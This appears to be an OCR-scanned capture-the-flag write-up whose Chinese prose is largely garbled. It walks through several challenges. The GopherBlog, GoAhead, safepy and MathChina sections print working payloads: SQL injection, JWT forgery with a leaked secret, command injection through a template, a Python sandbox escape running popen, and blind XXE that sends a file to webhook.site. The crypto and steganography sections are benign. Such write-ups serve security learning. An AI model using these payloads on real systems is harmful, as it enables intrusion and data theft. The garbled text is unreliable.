cipher = AES.new(dek, AES.MODE_GCM, nonce=bytes.fromhex(snapshot["nonce"]))
flag = cipher.decrypt_and_verify(
bytes.fromhex(snapshot["enc_data"]),

bytes.fromhex(snapshot["tag"]),


http://60.205.218.124:22562/
http://127.0.0.1:5000/api/v1/import_dek?dek=

print(flag.decode())

if name =="main":
main()
=% Flag

flag{ff409613-080b-4910-8fac-98a4fde664eT}

1.2 GoAhead 5.2 HEFA (Web)

iRl /api/v2/meta , AIFEIRRAFFE~ (W0 r5.2.17-ops « plant-7) o
BiIREOTA:

e field BA&ZE (type/priority/tags/sensor/zone )

e group_by ESANB&MITIE

e preview?view=rollup 3&[E] count

WEEOT A

o HEFIRTRIR[MO] 403 FEAXT

o XREMBIPITIREE 404 T&E _LIEHHMG

BEIREIEE save_mode:"raw" , WARSHEREFRIG JSON X7,
BEFRER:

"group_by":"type')//OR//..." =#IEL ( group_by rejected) o
BFERAEERAIUSIREHTREER rollup f#T:

{

"name": "oracle",
"field": "type",
"group_by": "type",
"group_by": "type\u0027)//OR//((1=1))--"
}
EZA R RERE:
o XMHMHNE: rollup => {"count":6,"status":"ok"}
o ZMHNM: rollup => {"count":0,"status":"ok"}

XFAZE T blind SQL oracles



T :
(select length(install_nonce) from gl_runtime limit 1) > mid
[REKERN 12,
BZRE (706 FR)
unicode(substr((select install_nonce from gl_runtime limit 1),pos,1)) > X
=S E:
install_nonce = ad45b185d532
ERERRBEME !
seed = "gl.v5:module:derivel{version}|{instalINonce}"
key =sha256(seed).hexdigest().encode()
sig = HMAC-SHA256(key, wasm_bytes).hexdigest()
wasm &g
1. __rebind_window(64,13)

2. NEREENFE:
Used=0 , Role=0xA11CE , Gate=0, Armed=1
3. __set_used(0) fRIE crc32(Scratch[:0])=0
XBEREELE off=64 (FE68) , FERIEHECRH,
e POST /api/v2/plugins/upload #% X-Plugin-Signature: <sig> 5 wasm&ia
° FEEET /api/v2/plugins/execute
B ThPa Y :

{"status":"granted""output":"Here is my flag for you:\nflag{d5d0d032-1790-4bca-bb8b-
cb4fd76081a9}\n..."}

=RAEE flag:

flag{d5d0d032-1790-4bca-bb8b-cb4fd76081a9}

1.3 GopherBlog

BIERZIBEXR:

GET /api/posts/search?g=test
FMES| S

GET /api/posts/search?g="



SBREIRE, BZEEIN:

GET /api/posts/search?g='OR 1=1--
REI2HNE, HEAEZRZEOFE SQLEN,
rREEMRINTIEL

GET /api/posts/search?g="UNION SELECT 1,2,3,4,5,6--
REFR UEREHFN—FIER:

e 1id =1

° title = 2

¢ content = 3

e author = 4

® category =5

® created_at = 1970-01-01T00:00:06Z
FRAE SR 7 :

id, title, content, author, category, created_at
FLIRRLEH

GET /api/posts/search?g="UNION SELECT 1,name,sql,'x''y"/2026-01-01T00:00:00Z' FROM
sqlite_master--

AUEEFER:

® posts

®* users

® settings

HA settings FREXH, 4455EEN

GET /api/posts/search?g=" UNION SELECT 1,key,value,'x''y"'2026-01-01T00:00:00Z' FROM
settings--

B E Sz

admin_email = admin@gopherblog.local

jwt_secret =c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582
site_name = GopherBlog

smtp_host = mail.gopherblog.local

smtp_port =587

XEREENE:



jwt_secret = c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582
ARXEBERE - MEL:

* jwt_secret A& JWT

e ERERATESR JWTHNEHR

o HIFEM#H Cookie: token= B9, B5EM IWT

JWT header:

{"alg":"HS256""typ":"JWT"}

JWT payload:
{"username":"admin","role":"admin","iat": H 5B 8B, "exp": H 518 8] & +86400}
Python 4 R4

import base64, json, hmac, hashlib, time
secret =b"c1173ae2b9872012f942c3d472af697c2e3655eaf56f4582"

header ={"alg": "HS256", "typ": "JWT"}
now = int(time.time())
payload = {

"username": "admin",

"role": "admin",
"iat": now,

"exp": now + 86400,

def b64url(obj):
return base64.urlsafe_b64encode(
json.dumps(obj, separators=(",", ":")).encode()

).decode().rstrip("=")

msg = f"{b64url(header)}.{b64url(payload)}"
sig = base64.urlsafe_b64encode(

hmac.new(secret, msg.encode(), hashlib.sha256).digest()



).decode().rstrip("=")

print(msg +"" +sig)

AR SR JWT BEiERu#iEKEk:
Cookie: token=<fRiE i 3REIIJWT>
KIEEIEANIR:

GET /admin HTTP/1.1

Host: target

Cookie: token=<JWT>

z[E] 200 OK WRABEHNEEREE.

BEERESBFE /admin/newsletter TiE., EIERHLUER Gotemplate &%, HERET

B
ZMRIREE:

.Title

e .Content

e .Site.Name

e .Site.URL

e .Mailer.From

® .Mailer.Host

FBEBEMRRIR

{printf "%+v" .}}

R [EISE:

&{Title:hello Content:world Site:0xc000... Mailer:0xc000... Date:March 26, 2026 Year:2026}
$ixE .Mailer :

{{printf "%+v" .Mailer}}

R[]

&{Host:mail.gopherblog.local Port:587 From:newsletter@gopherblog.local}
LA G PN S

main.(*MailService).Configure

main.(*MailService).Ping

main.newsletterHandler

main.checkTemplateContent



B LAHIBT . Mailer RRBEBNR, ®85E 7B L %,

=k 5

{{.Mailer.Ping}}

AR [a]:

nc: getaddrinfo for host "mail.gopherblog.local" port 587: Temporary failure in name resolution
Connection to mail.gopherblog.local:587 failed

XtER

1. RIRFPAI L ER ARG E

2. Ping KEE&#1T nc host port

BNEERE:

{{.Mailer.Configure .Title 25}{{.Mailer.Ping}}

Y title=example.com B, iR[E]:

nc: getaddrinfo for host "example.com" port 25: Temporary failure in name resolution
Connection to example.com:25 failed

WA Configure HIBETRE:

Configure(host string, port int)

IR ARZ8E), B Ping [KER nc host port , BBRENSHSEN.
FEIENR:

o RIREXHFEERE

e & exec. file. etc/ XEXBIASHE

e BE title SHAREX—BERIRKBFHRE

FRIURFREEEERTEHEER, RAFBELEHRLSEH title , BILERIE title £4

.Mailer.Configure .

Rt payload:

e title = example.com;id;#

e template = {{.Mailer.Configure .Title 25}}{{.Mailer.Ping}}
POST body:

action=preview&title=example.com%3Bid%3B%23&content=test&template=%7B%7B.Mailer.Co
nfigure%20.Title%2025%7D%7D%7B%7B.Mailer.Ping%7D%7D

1R [E]:

nc: missing port number


http://example.com/
http://example.com/
http://example.com:25/
http://example.com/
http://example.com/

uid=0(root) gid=0(root) groups=0(root)
XtEA
1. SRENKIN
2. #HIENPRZE root
EEEELREEZE /flag.
Fis
e title = xj;cat /flag;#
e template = {{.Mailer.Configure .Title 25}}{{.Mailer.Ping}}
STEIEK:
POST /admin/newsletter HTTP/1.1
Host: eci-2ze517zxbiur39zr3jb4.cloudecil.ichunqgiu.com:8080
Content-Type: application/x-www-form-urlencoded

Cookie: token=<fAiEsFEIRRIWT>

action=preview&title=x%3Bcat%20%2Fflag%3B%?23&content=test&template=2%7B%7B.Mailer.C
onfigure%?20.Title%2025%7D%7D%7B%7B.Mailer.Ping%7D%7D

@]
{"preview":"nc: missing port number\nflag{ad979d3b-3a8b-4c04-867b-7e2d8d3b98da}"}
9N5R7E Burp EEMKRNK, BEEUTRRA:
1. Cookie: token= BIEME jwt_secret , MAETE JWT
2. IERAEBHERT content = test . template = ..., UMERSHBEEEZ TR
3. BZ Cookie %k, SERFIMMAB M HKER
. M 28 BnhH 7 IH cookie, 1 Burp ERNFIEMNR
Burp RRIZMIMUEFL S EIZTE Repeater FTAEEIEK, FREKHNEEFEAE cookies
=% flag:
flag{ad979d3b-3a8b-4c04-867b-7e2d8d3b98da}

Zhg

2. LCG + LHNP
BB T—19 enc.sage , ZOBEBIIT:


http://eci-2ze5l7zxbiur39zr3jb4.cloudeci1.ichunqiu.com:8080/

seed = bytes_to_long(b"Seed" + os.urandom(32))

genertor = random.Random(seed)

p = get_prime(1024, genertor=genertor)
x = get_prime(1024)
while x> p:

x = get_prime(1024)

enc = bytes_to_long(flag) " x

foriinrange(30):
r = get_prime(1024, genertor=genertor)
e =get_prime(888)

c=(r*x+e)%p

length = len(bin(seed)) - 2
a = get_prime(length)
b = get_prime(length)
n =get_prime(length)

foriinrange(10):
seed=(a*seed+b)%n
seeds.append(seed)

Wi T =8k

e s
® seeds
® enc

DBELEN . FIFERRE LCG , FFERZ LHNP / HNP,
SLINBBFRAE:

1. seed = bytes_to_long(b"Seed" + os.urandom(32))
XBERT—1 36 FHHAEBHMF, 514 FTHEER Seed o



2. random.Random(seed)

XM FIREG T Python BUMSFRIEALFENEL, FKEREER p MFFE r_io

X
XEHIMRITE R 1024-bit BEL, HE x < po

4. enc = flag xor x

FAIAREME x , flag EEMEET -

5. c_i = (r_i * x + e_i) mod p
HA e_i =2 888-bit &#, im/NF 1024-bit 8 p » XFE—THEN “NRERLMSIE
h” .

6. REXBRHABHAT seed HE#H— LCG:

seed_{i+1}=(a *seed_i+b) modn

HEBEZRE 7TEL 10 MRS seeds o

F L ERAF REREA:

1. %t seeds & LCG MG seed

2. BEXN seed E/ Python random.Random

3. Z3 p MFE r_i

4, BRfEfR c_i = (r_i * x + e_i) mod p, ME x

5. F§ enc xor x 18%lflag

2 LCG:

s {i+tl}=as_i+bmodn

NRERTELRS, WEMEZSHIE a M b, MERE n,

A .
~ .

d_i=s_{i+1}-s_i

nA:

d_{i+1} =ad_i(modn)

H—LHRE!

d_{i+2}d_i-d_{i+1}*2 = 0 (mod n)

FRUASYE TINEY gecd RLEEHE n FH5HK:

diffs = [s[i + 1] - s[i] foriin range(len(s) - 1)]

zeroes = [abs(diffs[i + 2] * diffs[i] - diffs[i + 1] * diffs[i + 1]) for i in range(len(diffs) - 2)]
n =reduce(gcd, zeroes)

BT n LUGE:



a=(s_2-s_1)*(s_1-s_0)*(-1) mod n

b=s_1-as_0modn

BIEE—IErIEHE—T, MeEMERVIRLS LCG AT seedo :
seed0=(s_0-b)*a?(-1) modn

KMmELERA

seed0 =
16201096714084523899521111749858184283860942837852012695778071351988286624236200
8180447

BeERRFTHEAIUEL:

b'Seed\x00\x90\xa2\xe2&I$\xec\xc1*\x1fq{"L@\x9cO\xa8 \x0fOL\xc3b\x9c\x96yJ\xcc\x96\xdf'
AISRIEF SR BIRIBEN b"Seed" , NIAX—EMERLIER,

BEEER p MAAE r_i BHERZE:

genertor =random.Random(seed0)

m get_prime() HZBEBREEE, MMEFEEAR:

num = genertor.randrange(2**(key_size - 1), 2**key_size)

BRahRTALL,

it REMF—, BRIRF—, BXREIUAMETESER. HIHERERERINFER:
1. &R p

2. ARESLER 30 r_i

MEE p M

17362981834023487345083629169820779536411710513197557487288627123477548368326815
03904402388710920304247762816225998654762969883068439586208231939301538587326686
33512116514995052924267304259035591860389426735400386527074933747255176065605588
568104501266898452481146429484392535868952144604792038293285741408567

AXE, RHBRAEENMBERAAEHRTT: p. r_i. c_i. enco
A ELLHE

c_i=(r_ix+e_i)modp

He:

° x TR 1024-bit EEKX

° e_i EBARMAY 888-bit FK

e 0 < e_i < 21888

RZERT, MEFERINER 9.1 #15:



r_ix+e_i=c_i+q_ip
BImEE:
r_ix-q_ip-c_i=-e_i

BIOR— N EMER/NWHIREN, X1EE Hidden Number Problem / Lattice Hidden Number
Problem BItRER S

WRE, Fi1HE 30 MHE:

r_ix-q_ip=c_i

XELRE 27888,

AT XN E R ELAERR, WS TRE:
[p"2 0 .. 0 O]

[0 p*2 .. 0 O]

[. . . . ]

[0 O .. p"2 O]

[pr.lpr2..pr_m B]

Hrp:

° m = 30

e B = 27888
EARAEE:

t=[pc_l,pc_2,..,pc_m,0]

LIESVER - )=

(-q_1,-9_2,...,-q_m, x)

ABANNAEEEN BitmEZERN:
[pe_l,pe_2,..,pe_m,Bx]

XEBE - XEFE:

° p e_i MELKKAZE 221024 x 27888 = 211912
e B x MELKMWE 24888 x 241024 = 271912

PR LA MEHEFR A LARERT & 2 TR — 8 ER, EE1 CVP,
MUETLZ -

L SeXXMSEM LLL

2. BF Babai nearest plane H{EBIFRAZERIONIESR
3. RE—TREHME x W—TMRARAK



MEHM x B mod p ENRI{SEIEIERIFAA:

X =
16164614397107007319975691861858127692997678301249802792205830033354480940055946
73387444570859663144030091124448555335875850717272702552043186735377128154096904

27126096872079161368794016178320954211131806515967927752480436520763204984437625
780684951089198304411489159862830804120877834030581686043981226019567

BEHEMZANZ:

enc = bytes_to_long(flag) " x
FRAE R EKEK:

flag = long_to_bytes(enc " x)
FERBRER:

flag{6c3b0525-00e5-4436-a1f1-cd9e0c4d7fa4}

Misc

2.1 Misc iREEE (Misc)
5t& notebook RV OEIEE S
def forward(X, p):
h=relu(X @ p['embedding_layer'] + p['hidden_bias'])
return softmax(h @ p['output_layer'] + p['output_bias'])
SHT:
o embedding_layer : (18, 20)
e hidden_bias: (20,)
e output_layer: (20, 2)
e output_bias: (2,)
—HIEER I ARFE:
1. sentiment_model.npz JEE/]
2. notebook EEMZIIZRTeMAIBIBIRE, BXRETEREERE.
WEAX MERXHEGRENERE, MAREEIIZFIREE,
HBEET npz NEMEBRENABKERSLE, TUULI:
e hidden_bias . output_layer . output_bias EZRIEE#BKE
* embedding_layer t/LFEFHHIIBNK



e {8 embedding_layer REAREBIERKNIEN T &KL
H—BE PR

o 2% embedding_layer #zhid

e HMT float32 HIRIK 1 bit

o BMME—H 174

HREit, JESHEM RESHLSBRE,

B embedding_layer A uint32 &, BEN float32 HIRIEML:
bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)
BT RERRF 0]

1. X bit izt AliFix?

2. B 8bit HEFTE, UFEARWEE/\iKm?
MEZMEIERANGE, ERAER:

o 1% {TIR% IZEY embedding_layer

e § 8 MhitdAl—1FN

o FTRENR IMRALF HHE

IRV EEF T

b'l$.4/~*-fa\x7fqu~7&q{~" uyx~mtq|~a!\x7f)fav\x7f{7b"5'
XBEHIEFERKEZEIG, RAREEE —EREEHL,

BT CTF PRZBAXKEERL flag{ Fk, AL EEMEMAXK T,
RHEAN C, BAXA P, MREEEFE:

P[i] = C[i] * K[i % n]

ZHI5F T flag{ W%, MAHHESENA:

K=b"GHOST"

WIEREHRAXBARF NN flag:
flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

Rz

from pathlib import Path

import numpy as np

MODEL_PATH = Path(



r"C:\Users\Admin\Downloads\Model_Entropy_b7f81bb4ab6e334da5fbac74777e42e5\sentiment
_model.npz"

)

XOR_KEY = b"GHOST"

def extract_lsb_bytes(embedding: np.ndarray) -> bytes:
bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)
out =[]
foriinrange(0, len(bits) - 7, 8):
value = sum(int(bits[i + j]) <<j for j in range(8))
out.append(value)

return bytes(out).rstrip(b"\x00")

def xor_with_repeating_key(data: bytes, key: bytes) -> bytes:

return bytes(b * key[i % len(key)] for i, b in enumerate(data))

params = dict(np.load(MODEL_PATH))
carrier = extract_Isb_bytes(params["embedding_layer"])

flag = xor_with_repeating_key(carrier, XOR_KEY).decode("ascii")

print("Carrier bytes:", carrier)

print("XOR key:", XOR_KEY.decode())

print("Recovered flag:", flag)

BRI

Carrier bytes: b'!$.4/~*-fa\x7Tfqu~7&q{~" uyx~mtq|~a!\x7f)fav\x7f{7b"5'
XOR key: GHOST



Recovered flag: flag{9bb55899-ca94-4217-9393-5f7f55174d6e}
=% Flag

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

2.2 Model_Entropy

5t& notebook BERIIEEILE:

def forward(X, p):
h=relu(X @ p['embedding_layer'] + p['hidden_bias'])
return softmax(h @ p['output_layer'] + p['output_bias'])

S eE:

* embedding_layer : (18, 20)

e hidden_bias: (20,)

e output_layer: (20, 2)

e output_bias: (2,)

HAPRAIERYE !

1. sentiment_model.npz {&FRIEE/\,

2. notebook EEHIZ “YIFFRRE" , B REERERIRRE, RANEHFZRREINIGES
FRo

3. RF embedding_layer HIMIEMIRAERTEZEXIM,

IR BN EN — 1 EEFE I F E R EMXILLE, FTLURIR:

e hidden_bias . output_layer . output_bias ERIEFE#BKE
* embedding_layer tIFEELMHIIBN

e {B embedding_layer FEARETEN float32 RIEAIWIENRT

WRER, HBEARRRTNER “REEX" , MEAT float32 HILSB (RBEBHEMML) KK
o

AR

e HIfT embedding_layer

o EMEERINIEREN T &I 1 bit
o XEHANRESHRTE
IEFREURIZAN T

1. 3BX embedding_layer



EEMA uint32

g float32 HWIRARfI: value & 1

12 17{R 5% I 15EY

g 8 bit B — 1T F™

FHNERA MR

RE—SHAEFTE, BAEERER GHOST BE
REHNHETFTE:

b'lS.4/~*-fa\x7fqu~7&q{~" uyx~mtq|~a!\\x7f)fav\\x7f{7b\"5'
SABRSEEEA GHOST =K.

flag = carrier » b"GHOSTGHOSTGHOST..."

N o0 A e N

REIRA flago
KR
from pathlib import Path

import numpy as np

MODEL_PATH = Path(

r"C:\Users\Admin\Downloads\Model_Entropy_b7f81bb4ab6e334da5fbac74777e42e5\sentiment
_model.npz"

)

XOR_KEY =b"GHOST"

def extract_lsb_bytes(embedding: np.ndarray) -> bytes:
bits = (embedding.reshape(-1).view(np.uint32) & 1).astype(np.uint8)
out =[]
foriinrange(0, len(bits) - 7, 8):
value = sum(int(bits[i +j]) <<j forjin range(8))
out.append(value)

return bytes(out).rstrip(b"\x00")



def xor_with_repeating_key(data: bytes, key: bytes) -> bytes:

return bytes(b * key[i % len(key)] for i, b in enumerate(data))

params = dict(np.load(MODEL_PATH))
carrier = extract_Isb_bytes(params["embedding_layer"])

flag = xor_with_repeating_key(carrier, XOR_KEY).decode()

print(carrier)

print(flag)

B4

Carrier bytes: b'!$.4/~*-fa\x7Tfqu~7&q{~" uyx~mtq|~a!\x7f)fav\x7f{7b"5'
Recovered flag: flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

RAEER:

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

2.3 safepy
A Python pyjail / Web

A0 ETHRMHE— PY-LeetCode TiHE, HIIHSM /api &3 JSON:

{"code":
DUH LA MIRIRE

def isPalindrome(self, input):

name":"spring"}

BEXHLZEIZE, EXETRNIZE:

def isPalindrome(input):

BN&EBEERE] Exception o
Feitf g/ MENR

def isPalindrome(input):



return input == input[::-1]
IR [E]:
{"result":"Success"}
'
def isPalindrome(input):
return False
Iz [a]:
{"result":"Failure"}
BEBIRRIRE] SyntaxError , IEERENTBIZEBVIGIRIKZ=IR[E] Exception o

FTAX SR EBREED, Me—1F WAF/DFEE Python $11T71F1%, Success/Failure B
&=— oracle,

A LB ZFERN—LE builtin:

e len

e str

* nt

e Tlist
e tuple
e set

* map

e filter
e chr

e ord

* repr

BRZERENZHERIZEHIFAA!

® open

e globals
* locals
e dir

* type

e getattr

- hasattr



e class
e builtins
* import
HWMEBHRXE—" “REEH builtin + XBEFIIE” 1 pyjail
BEIESRMABMESIE, B str.format ALUAXREMEEIFRE,
EbanSe s R EITR
def isPalindrome(input):
try:
1/0
except Exception as e:
d =chr(95) + chr(95)
s="{0."+d + 'traceback' + d + 'tb_frame.f_back.f_back.f_globals}'
x =s.format(e)
return input == input[::-1]

XEBIIETIHHE traceback , LI THSKEFIIR, ARTUE—FTZE:

tb_frame

f_back

e f_globals

e f_locals

e f_code

EZIFINE frame f3, BEFEE(UEISMNE WAF HLREBXT R
BEIEEEL co _filename . co_names . co_consts ZHETEIE, oILUEME:
o X: /app/waf.py

o 1ZDEREN: safest_eval
FHETUBIAENABZER:

1. compile

2. check

3. A dict(ALLOW_BUILTINS) #&%R globals

4. eval

Xt R B ARSI — safest_eval Xi& pyjailo



XEBERZOEREE:

1. B—h#8 async def async_function()

2. EEREEFRSURF:

AAclassAA

AAbaseAA

AAsubclassesAA

3. BITIEXHINERY cr_frame.f_code

4. A code.replace(co_names=...) BEHUZFHH A BRE _
5. XIFmLEei:

AAclassAA -> class

AAbaseAA -> base

AAsubclassesAA -> subclasses

6. AABREETIZITHY, WAF NESKEMBREAIEENGREF
7. #N ().class.base.subclasses() /&, ¥BE load_module('os') HJZE
8. Z%l os FHIT:

popen('/readflag').read()

9. BFMHA Success/Failure HEIEE*, 1Bflag—fiI—{IHH®R
RBiRF=EEIBaSHITEREEL AW, FILMEEIRZIN flag ZHEE, ARRA:
flag[:n] == "prefix’

¥zl isPalindrome MYE(R:

o FIZILEC: R[EEMEISGELE, 43R Success

o HIZALEDZ: IRE] False , £%A Failure

FEMIE /api THT —MREMFIZ oracle,

#%iCy payload #0°F:

def isPalindrome(input):

flag=""

async def async_function():
for clsin ().AAclassAA.AAbaseAA.AAsubclassesAA():

try:



mod = cls.load_module('os')
except Exception:

pass
else:

raise Exception(mod.popen('/readflag').read())

async_object = async_function()
code_object = async_object.cr_frame.f_code
code_object = code_object.replace(

co_names=tuple(name.replace('A!,'_") for name in code_object.co_names)

try:
function(code_object, {})().send(None)
except Exception as e:

flag = str(e)

return flag[:N] == PREFIX and input == input[::-1]
Hrh:
o N ZEFENEEKE
e PREFIX =HalRME flag 514%
HHAERE flag !
flag{06a5db74-7d89-4fe3-9fb1-5ch405fd274a}

3. Stream Capture GRE451h)

HMERAT—REE capture.pcapng , BEAREHERE ‘BT A4aNEER ,

MEMSIESIT, YMEESENORENE, BoOWEERL.
scapy I pcapng — EE%IT, AIMURREH XD RERIEIREN .
e DEMEEHEES: 192.168.31.191 # 192.168.31.192

o B{ARZHIIEERZE UDP

38
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o FE—FIFEXRLAVER UDP X!
192.168.31.191:47998 -> 192.168.31.192:33314

XEMNRIFERE:

o BHIEETHMAIE

o &1 UDP AEKEJLFEE

o HIEHFTFEHDBREBETE XML

o RiEFIEEBEEKEHRIES, AIUEDIHERERIFE
%1% UDP K@M —EHRE 7 #E], ILlRIM AR 32 FHUE, BERHIT:
0000000167

0000000168

0000000165

XL MRSIER X5

° 67 XNz H.264 SPS

* 68 XI[Z H.264 PPS

e 65 XJ[Z H.264 IDR

WREIR, X&EIE “NEHER ARLEHFFABERAENX EWNEBEE, ME—BREFAE L ET
1Y H.264 87

BENEIEEZ S FEETNY, MEBELHFTMNREERRER,
BRABER, LIEREMILRERET !

1. FIEH 192.168.31.191:47998 -> 192.168.31.192:33314
2. S8 UDP fazXini 32 FRAAEk

3. MBI FHHERIRER 5

4. 135 —1PEIFEIDHY H.264 $REE7

5. FERMMHKNEEENS

Reht iz pyEEsL4s OpenCV f#Df5, FILAERREAAM, HEEFXEN, RUGFREEEL L
AEREEIT flag.

KEMRE:

frame_390.png
FIZSSEIRRYTHRE BLEE -

e Bznh%it UDP i

o BunfERE H.264 RN RIE



o BHFIBMBERHENH stream.h264
o BnhEERIIT

o BmiXE EARXKIE#HTT OCR

o BmphE flag{...}

E1TAR:

HEGIR

1  python solve_stream_capture.py

"C:\Users\Admin\Downloads\Stream_Capture_6996b0511a09ddd236d95aa81b27a69d\captu
re.pcapng"

feHi

HEGIR

1 pip install scapy opencv-python easyocr

mEHREEEN:
flag{8ccfl7ab-1e21-4e26-ba08-f6b048b3c3c6}

10. MathChina Web (Shiro &3 + B XXE)

E=] i
ETRARSBEE /403 , HEABEREHSELT.

BITERBWNEFTUAI /backup , SEETH back.jar o RIEIFZ jar AIUAZEEFEEEM
Spring Boot i£%8, HPAMKERZ.

KEES51TA:
® UserController

o GET / REH}A

o GET /backup iR[EIJRHS jar

o RequestMapping /permit/{value} iE[E admin iR
e MyShiroFilterFactoryBean

o XXF /permit/.x EHEBEENX ShirodiE2s

* MyFilter

~ 1%£BY AccessToken i&3X3k



o HBNBkEE /403

1.Shiro 1ENPtdsed

WIEFEFERT /permit/.x o EEIRIFIES, URL REZHITAIST Shiro ILAD, 1B Spring H=30iE
KEGEREITHI2S

/permit/test%0a

TMINR :

e /permit/test -> 302 /403

e /permit/test%0a -> 200 , IR[EIF2EAY admin TIE
admin DIER#E 7 T —XEINEE:

POST /parse/sax-parser

2.541IAE XXE
/parse/sax-parser MIfTHIITF:
o i@ XML: R[EIFKINTT
o REXIA: &[] 500
o SMERSLIR: BRIR[EIRLINDT
XRARSIHSETINBEE, BERSEXHRBTEEEIE, BFE XXE
£/ OOB #RETIIIE
<?xml version="1.0"7>
<IDOCTYPE root [
<IENTITY xxe SYSTEM "https://webhook.site/<token>/oob-general">
1>
<root><a>&xxe;</a></root>

webhook.site BIWEIRBBMHEE ( User-Agent: Java/11.0.13) .

3.5M3B DTD EEXXFRAE
HTFNEAREXEAR, TEEBIIMNE DTD MsMal%,
4NER DTD:

EGIR

1 <IENTITY % file SYSTEM "file:///flag">


https://webhook.site/%3Ctoken%3E/oob-general

2 <IENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
"https://webhook.site/<recv>/leak?x=%file;'>">

3 %eval;

4 %exfil;

BirfEthas&iEs Z/RIaK:
https://webhook.site/<recv>/leak?x=<file-content>

XERR[EEHRPEEZT file:///flag BINE,

%% Flag
flag{242a3f3c-76f2-4229-8d13-a3cfba493f8e}

4.lost_signal

AREFERHNELERAXZ:

A:B:C:D

=>vec(B) - vec(A) = vec(D) - vec(C)

=>vec(C) = vec(A) - vec(B) + vec(D)

X FEAE XM

AistoB,?istoD

REIE ? MZETEITE:

?=A-B+D

BHIgnsE—n:

man is to king, ? is to queen

SR AT

? = vec(man) - vec(king) + vec(queen)
AEERREREXNMERRZEUERSHIFE,
B gensim M# glove-twitter-25 , AARZFEHE most_similar o

import gensim.downloader as api
model = api.load("glove-twitter-25")

queries =

("man", "king", "queen"),


https://webhook.site/%3Crecv%3E/leak?x=%3Cfile-content%3E

("paris", "france", "italy"),
("bad", "worst", "best"),
("small", "tiny", "massive"),
("cat", "kitten", "puppy"),

("winter", "cold", "hot"),

ans =[]
fora, b, d in queries:
word, score = model.most_similar(
positive=[a, d],
negative=[b],
topn=1
)[0]
print(f"{a}:{b} :: 2:{d} -> {word} ({score:.6f})")

ans.append(word)

print("password =", "".join(ans))

XER

positive=[a, d], negative=[b]

S AYIER

vec(a) - vec(b) + vec(d)

HIHRAERZ

1. man is to king, ? is to queen -> so

paris is to france, ? is to italy -> brazil
bad is to worst, ? is to best -> cool
small is to tiny, ? is to massive -> deal

cat is to kitten, ? is to puppy -> dog

A L

winter is to cold, ? is to hot -> fashion

BHZE1IFEIZN:



sobrazilcooldealdogfashion
RXANZEME archive.zip , AJLIREl flag. txt :

flag{ae97fb341dc2e779b230f141fb7e04ee}



